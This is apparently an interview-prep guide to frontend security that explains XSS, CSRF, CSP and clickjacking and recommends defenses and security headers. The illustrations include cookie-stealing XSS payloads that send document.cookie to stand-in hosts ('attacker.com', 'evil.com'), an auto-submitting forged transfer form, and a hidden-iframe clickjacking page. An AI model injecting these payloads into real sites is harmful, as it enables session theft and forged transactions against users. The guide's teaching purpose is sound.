Frontend Security: XSS, CSRF, CSP, and Clickjacking Explained
Frontend security appears more often in senior interviews than most developers expect. Not because interviewers are trying to catch you out — but because security vulnerabilities in frontend code have real consequences. This guide covers the four most important attacks and their defenses.
1. XSS — Cross-Site Scripting
### What It Is
XSS occurs when an attacker injects malicious JavaScript into your page that executes in other users' browsers. Because it runs in your origin, it has full access to cookies, localStorage, DOM, and the ability to make authenticated requests on the victim's behalf.
### The Three Types
Stored XSS — malicious script saved to a database, rendered to all users who load that content.
<!-- Attacker posts a comment with: --> <script> fetch('https://attacker.com/steal?cookie=' + document.cookie); </script> <!-- Every user who sees this comment gets their cookie stolen -->
Reflected XSS — script in a URL parameter reflected back in the response.
https://example.com/search?q=<script>stealCookies()</script>
DOM-based XSS — client-side code writes attacker-controlled data to the DOM.
// Vulnerable const name = new URLSearchParams(location.search).get('name'); document.getElementById('greeting').innerHTML = 'Hello, ' + name; // URL: /page?name=<img src=x onerror="fetch('https://evil.com?c='+document.cookie)">
### Prevention
// ✅ Safe — textContent doesn't parse HTML
document.getElementById('greeting').textContent = 'Hello, ' + name;
// ✅ React JSX is safe by default — it escapes all values function Greeting({ name }) { return <div>Hello, {name}</div>; // name is escaped }
// ❌ React's escape hatch — only use with sanitized HTML <div dangerouslySetInnerHTML={{ __html: sanitize(userHtml) }} />
// ✅ Sanitize rich HTML with DOMPurify import DOMPurify from 'dompurify'; const safe = DOMPurify.sanitize(untrustedHtml); element.innerHTML = safe;
Secondary defense: httpOnly cookies. If scripts can't read cookies, stolen sessions are harder even if XSS succeeds.
---
2. CSRF — Cross-Site Request Forgery
### What It Is
An attacker's page tricks your browser into sending an authenticated request to your server. The browser automatically sends cookies with every same-domain request — even requests initiated from a different domain.
<!-- Attacker's page — victim is logged into bank.com -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />
<!-- Browser sends GET with all bank.com cookies — authenticated -->
<form action="https://bank.com/transfer" method="POST" id="form"> <input name="to" value="attacker" /> <input name="amount" value="10000" /> </form> <script>document.getElementById('form').submit();</script> <!-- Auto-submits POST with cookies — the server can't tell it's forged -->
### Prevention
SameSite Cookie Attribute (Primary Defense)
Set-Cookie: session=abc123; SameSite=Strict; HttpOnly; Secure Strict — cookie not sent on ANY cross-site request (including links)
Lax (default) — cookie sent on top-level GET navigations, not on POST/sub-resource
None — sent on all cross-site requests (requires Secure)
CSRF Tokens (Defense in Depth)
// Server generates a random token per session const csrfToken = crypto.randomBytes(32).toString('hex'); session.csrfToken = csrfToken;
// Client includes it in every state-changing request headers: { 'X-CSRF-Token': csrfToken } // Attacker can't forge this header — same-origin policy prevents reading it
Use Authorization Headers for APIs
// Custom headers can't be set in CSRF attacks fetch('/api/transfer', { headers: { 'Authorization': 'Bearer ' + token } }); // Forms and img tags can't set custom headers
---
3. CSP — Content Security Policy
### What It Is
CSP is an HTTP response header that whitelists which sources can load scripts, styles, images, and make connections. Even if an attacker injects a script tag, CSP prevents it from executing.
### A Practical CSP
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.trusted.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.yourapp.com;
font-src 'self' https://fonts.gstatic.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
### Nonces — The Gold Standard
Instead of whitelisting entire origins for scripts, use cryptographic nonces:
// Server generates a unique nonce per request
const nonce = crypto.randomBytes(16).toString('base64');
res.setHeader('Content-Security-Policy', script-src 'nonce-${nonce}');
// Only scripts with this nonce execute
<script nonce="rAnd0mNonce123"> // This executes — has the nonce </script> <script> // This is blocked — no nonce stealData(); </script>
Avoid unsafe-inline and unsafe-eval — they defeat most of CSP's protections.
### Starting with Report-Only Mode
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
Violations are reported but not blocked. Use this to audit your existing app before enforcing.
---
4. Clickjacking
### What It Is
An attacker embeds your site in a transparent iframe on their page. Users think they're clicking on the attacker's content but are actually clicking on hidden buttons on your site.
<!-- Attacker's page -->
<style>
iframe { opacity: 0; position: absolute; top: 0; left: 0; width: 100%; height: 100%; }
</style>
<iframe src="https://yourbank.com/transfer?to=attacker"></iframe>
<button>Click to win $1000!</button>
<!-- User clicks "win $1000" but actually clicks "confirm transfer" on your bank -->
### Prevention
# HTTP header — prevents any framing
X-Frame-Options: DENY
Or via CSP (preferred — more flexible)
Content-Security-Policy: frame-ancestors 'none'
Allow framing only by specific origin
Content-Security-Policy: frame-ancestors 'self' https://trusted.com
---
The Complete Security Headers Checklist
Content-Security-Policy: default-src 'self'; frame-ancestors 'none'
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
What each does:
- HSTS: forces HTTPS for all future visits — even if user types http://
- X-Content-Type-Options: nosniff — prevents browser from guessing MIME type and executing uploaded files as scripts
- Referrer-Policy — controls how much of the current URL is sent in the Referer header
---
Interview Summary
The four attacks and their primary defenses:
| Attack | Primary Defense | Secondary Defense | |--------|----------------|-------------------| | XSS | textContent not innerHTML; React JSX auto-escape | CSP; httpOnly cookies | | CSRF | SameSite=Lax/Strict | CSRF tokens; Authorization headers | | Clickjacking | frame-ancestors 'none' | X-Frame-Options: DENY | | Token theft | httpOnly cookies | Short token expiry |
Always mention the httpOnly cookie as the connection between XSS and token storage — it shows you understand how the attacks interact.